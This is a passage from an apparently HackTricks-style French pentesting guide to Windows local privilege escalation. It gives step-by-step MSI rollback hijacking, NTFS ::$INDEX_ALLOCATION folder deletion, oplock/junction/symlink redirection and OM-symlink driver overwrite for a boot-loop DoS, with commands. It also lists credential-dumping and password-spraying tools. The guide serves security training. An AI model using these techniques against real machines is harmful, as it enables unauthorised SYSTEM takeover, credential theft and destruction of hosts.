L’attaque consiste essentiellement à abuser de la fonctionnalité de rollback de Windows Installer pour remplacer des fichiers légitimes par des fichiers malveillants pendant le processus de désinstallation. Pour cela, l’attaquant doit créer un malicious MSI installer qui sera utilisé pour détourner le dossier C:\Config.Msi, qui sera ensuite utilisé par le Windows Installer pour stocker des fichiers de rollback pendant la désinstallation d’autres packages MSI où les fichiers de rollback auraient été modifiés pour contenir la charge utile malveillante.

La technique résumée est la suivante :

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)

  • Step 1: Install the MSI

  • Create an .msi that installs a harmless file (e.g., dummy.txt) in a writable folder (TARGETDIR).

  • Mark the installer as “UAC Compliant”, so a non-admin user can run it.

  • Keep a handle open to the file after install.

  • Step 2: Begin Uninstall

  • Uninstall the same .msi.

  • The uninstall process starts moving files to C:\Config.Msi and renaming them to .rbf files (rollback backups).

  • Poll the open file handle using GetFinalPathNameByHandle to detect when the file becomes C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • The .msi includes a custom uninstall action (SyncOnRbfWritten) that:

  • Signals when .rbf has been written.

  • Then waits on another event before continuing the uninstall.

  • Step 4: Block Deletion of .rbf

  • When signaled, open the .rbf file without FILE_SHARE_DELETE — this prevents it from being deleted.

  • Then signal back so the uninstall can finish.

  • Windows Installer fails to delete the .rbf, and because it can’t delete all contents, C:\Config.Msi is not removed.

  • Step 5: Manually Delete .rbf

  • You (attacker) delete the .rbf file manually.

  • Now C:\Config.Msi is empty, ready to be hijacked.

At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones

  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Recreate the C:\Config.Msi folder yourself.

  • Set weak DACLs (e.g., Everyone:F), and keep a handle open with WRITE_DAC.

  • Step 7: Run Another Install

  • Install the .msi again, with:

  • TARGETDIR: Writable location.

  • ERROROUT: A variable that triggers a forced failure.

  • This install will be used to trigger rollback again, which reads .rbs and .rbf.

  • Step 8: Monitor for .rbs

  • Use ReadDirectoryChangesW to monitor C:\Config.Msi until a new .rbs appears.

  • Capture its filename.

  • Step 9: Sync Before Rollback

  • The .msi contains a custom install action (SyncBeforeRollback) that:

  • Signals an event when the .rbs is created.

  • Then waits before continuing.

  • Step 10: Reapply Weak ACL

  • After receiving the .rbs created event:

  • The Windows Installer reapplies strong ACLs to C:\Config.Msi.

  • But since you still have a handle with WRITE_DAC, you can reapply weak ACLs again.

ACLs are only enforced on handle open, so you can still write to the folder.

  • Step 11: Drop Fake .rbs and .rbf

  • Overwrite the .rbs file with a fake rollback script that tells Windows to:

  • Restore your .rbf file (malicious DLL) into a privileged location (e.g., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Drop your fake .rbf containing a malicious SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Signal the sync event so the installer resumes.

  • A type 19 custom action (ErrorOut) is configured to intentionally fail the install at a known point.

  • This causes rollback to begin.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Reads your malicious .rbs.

  • Copies your .rbf DLL into the target location.

  • You now have your malicious DLL in a SYSTEM-loaded path.

  • Final Step: Execute SYSTEM Code

  • Run a trusted auto-elevated binary (e.g., osk.exe) that loads the DLL you hijacked.

  • Boom: Your code is executed as SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

The main MSI rollback technique (the previous one) assumes you can delete an entire folder (e.g., C:\Config.Msi). But what if your vulnerability only allows arbitrary file deletion ?

You could exploit NTFS internals: every folder has a hidden alternate data stream called:

C:\SomeFolder::$INDEX_ALLOCATION

Ce flux stocke les métadonnées d’index du dossier.

Donc, si vous supprimez le flux ::$INDEX_ALLOCATION d’un dossier, NTFS supprime entièrement le dossier du système de fichiers.

Vous pouvez faire cela en utilisant des API standard de suppression de fichiers comme :

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Même si vous appelez une API de suppression de file, elle supprime le folder lui-même.

De Folder Contents Delete à SYSTEM EoP

Et si votre primitive ne vous permettait pas de supprimer des files/folders arbitraires, mais qu’elle autorise la suppression du contenu d’un folder contrôlé par l’attaquant ?

  1. Étape 1 : Préparez un folder et un file leurre
  • Créez : C:\temp\folder1
  • À l’intérieur : C:\temp\folder1\file1.txt
  1. Étape 2 : Placez un oplock sur file1.txt
  • L’oplock met en pause l’exécution lorsqu’un processus privilégié tente de supprimer file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Étape 3 : Déclencher le processus SYSTEM (par ex., SilentCleanup)
  • Ce processus parcourt les dossiers (par ex., %TEMP%) et essaie de supprimer leur contenu.
  • Lorsqu’il atteint file1.txt, l’oplock se déclenche et remet le contrôle à votre callback.
  1. Étape 4 : Dans l’oplock callback – rediriger la suppression

  • Option A : Déplacer file1.txt ailleurs

  • Cela vide folder1 sans casser l’oplock.

  • Ne supprimez pas file1.txt directement — cela libérerait l’oplock prématurément.

  • Option B : Convertir folder1 en junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Option C : Créer un symlink dans \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Cela cible le flux interne NTFS qui stocke les métadonnées du dossier — le supprimer supprime le dossier.

  1. Étape 5 : Relâcher l’oplock
  • Le processus SYSTEM continue et essaie de supprimer file1.txt.
  • Mais maintenant, en raison du junction + symlink, il supprime en fait :
C:\Config.Msi::$INDEX_ALLOCATION

Résultat : C:\Config.Msi est supprimé par SYSTEM.

De la création arbitraire d’un dossier à un DoS permanent

Exploitez une primitive qui vous permet de créer un dossier arbitraire en tant que SYSTEM/admin — même si vous ne pouvez pas écrire de fichiers ou définir des permissions faibles.

Créez un dossier (pas un fichier) portant le nom d’un pilote Windows critique, par exemple :

C:\Windows\System32\cng.sys
  • Ce chemin correspond normalement au pilote en mode noyau cng.sys.
  • Si vous le pré-créez en tant que dossier, Windows ne parvient pas à charger le pilote réel au démarrage.
  • Ensuite, Windows tente de charger cng.sys pendant le démarrage.
  • Il voit le dossier, ne parvient pas à résoudre le pilote réel, et provoque un crash ou empêche le démarrage.
  • Il n’y a aucun mécanisme de secours, et aucune récupération sans intervention externe (p. ex., réparation du démarrage ou accès au disque).

De privileged log/backup paths + OM symlinks vers arbitrary file overwrite / boot DoS

Quand un service privilégié écrit des logs/exports vers un chemin lu à partir d’une writable config, redirigez ce chemin avec Object Manager symlinks + NTFS mount points pour transformer l’écriture privilégiée en une écriture arbitraire (même sans SeCreateSymbolicLinkPrivilege).

Exigences

  • La config qui stocke le chemin cible est modifiable par l’attaquant (p. ex., %ProgramData%\...\.ini).
  • Capacité à créer un mount point vers \RPC Control et un OM file symlink (James Forshaw symboliclink-testing-tools).
  • Une opération privilégiée qui écrit vers ce chemin (log, export, report).

Exemple de chaîne

  1. Lire la config pour récupérer la destination de log privilégiée, p. ex. SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt dans C:\ProgramData\ICONICS\IcoSetup64.ini.
  2. Rediriger le chemin sans admin:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
  1. Attendez que le composant privilégié écrive le journal (par ex., l’administrateur déclenche “send test SMS”). L’écriture se retrouve maintenant dans C:\Windows\System32\cng.sys.
  2. Inspectez la cible écrasée (hex/PE parser) pour confirmer la corruption ; un redémarrage force Windows à charger le chemin du pilote altéré → DoS en boucle de démarrage. Cela se généralise aussi à tout fichier protégé qu’un service privilégié ouvrira en écriture.

cng.sys est normalement chargé depuis C:\Windows\System32\drivers\cng.sys, mais si une copie existe dans C:\Windows\System32\cng.sys elle peut être essayée en premier, ce qui en fait une cible DoS fiable pour des données corrompues.

De High Integrity à SYSTEM

Nouveau service

Si vous exécutez déjà un processus High Integrity, le chemin vers SYSTEM peut être simple : il suffit de créer et exécuter un nouveau service :

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Lorsque vous créez un binaire de service, assurez-vous qu’il s’agit d’un service valide ou que le binaire effectue les actions nécessaires rapidement, car il sera tué au bout de 20s s’il n’est pas un service valide.

AlwaysInstallElevated

Depuis un processus High Integrity vous pouvez essayer d’activer les entrées de registre AlwaysInstallElevated et installer un reverse shell en utilisant un wrapper .msi.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

Vous pouvez find the code here.

From SeDebug + SeImpersonate to Full Token privileges

Si vous avez ces privilèges de token (probablement trouvés dans un processus déjà High Integrity), vous pourrez ouvrir presque n’importe quel process (pas les protected processes) avec le privilège SeDebug, copier le token du process, et créer un process arbitraire avec ce token.
L’utilisation de cette technique consiste généralement à sélectionner n’importe quel process s’exécutant en tant que SYSTEM avec tous les token privileges (oui, vous pouvez trouver des processus SYSTEM sans tous les token privileges).
You can find an example of code executing the proposed technique here.

Named Pipes

Cette technique est utilisée par meterpreter pour escalader avec getsystem. La technique consiste à créer un pipe puis créer/abuser d’un service pour écrire dans ce pipe. Ensuite, le server qui a créé le pipe en utilisant le privilège SeImpersonate pourra impersonate le token du client du pipe (le service) obtenant ainsi les privilèges SYSTEM.
If you want to learn more about name pipes you should read this.
If you want to read an example of how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

Si vous parvenez à hijack une dll qui est chargée par un process s’exécutant en tant que SYSTEM, vous pourrez exécuter du code arbitraire avec ces permissions. Par conséquent, Dll Hijacking est également utile pour ce type d’escalade de privilèges, et, de plus, il est bien plus facile à réaliser depuis un processus high integrity car il aura des permissions d’écriture sur les dossiers utilisés pour charger les dll.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Lire : https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Vérifie les misconfigurations et les fichiers sensibles (check here). Détecté.
JAWS – Vérifie certaines misconfigurations possibles et collecte des infos (check here).
privesc – Vérifie les misconfigurations
SessionGopher – Extrait les sessions enregistrées de PuTTY, WinSCP, SuperPuTTY, FileZilla et RDP. Utiliser -Thorough en local.
Invoke-WCMDump – Extrait les credentials du Credential Manager. Détecté.
DomainPasswordSpray – Spray des mots de passe collectés sur le domaine
Inveigh – Inveigh est un spoofer ADIDNS/LLMNR/mDNS PowerShell et un outil man-in-the-middle.
WindowsEnum – Enumération Windows basique pour privesc
Sherlock ~~~~ – Recherche des vulnérabilités privesc connues (DÉPRÉCIÉ pour Watson)
WINspect – Checks locaux (Nécessite les droits Admin)

Exe

Watson – Recherche des vulnérabilités privesc connues (doit être compilé avec VisualStudio) (precompiled)
SeatBelt – Énumère l’hôte à la recherche de misconfigurations (plutôt un outil de collecte d’infos que de privesc) (doit être compilé) (precompiled)
LaZagne – Extrait des credentials de nombreux logiciels (exe précompilé sur github)
SharpUP – Port de PowerUp en C#
Beroot ~~~~ – Vérifie les misconfigurations (exécutable précompilé sur github). Non recommandé. Ne fonctionne pas bien sur Win10.
Windows-Privesc-Check – Vérifie les misconfigurations possibles (exe depuis python). Non recommandé. Ne fonctionne pas bien sur Win10.

Bat

winPEASbat – Outil créé basé sur ce post (n’a pas besoin de accesschk pour fonctionner correctement mais peut l’utiliser).

Local

Windows-Exploit-Suggester – Lit la sortie de systeminfo et recommande des exploits fonctionnels (python local)
Windows Exploit Suggester Next Generation – Lit la sortie de systeminfo et recommande des exploits fonctionnels (python local)

Meterpreter

multi/recon/local_exploit_suggestor

Vous devez compiler le projet en utilisant la bonne version de .NET (see this). Pour voir la version de .NET installée sur la victime, vous pouvez faire :

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks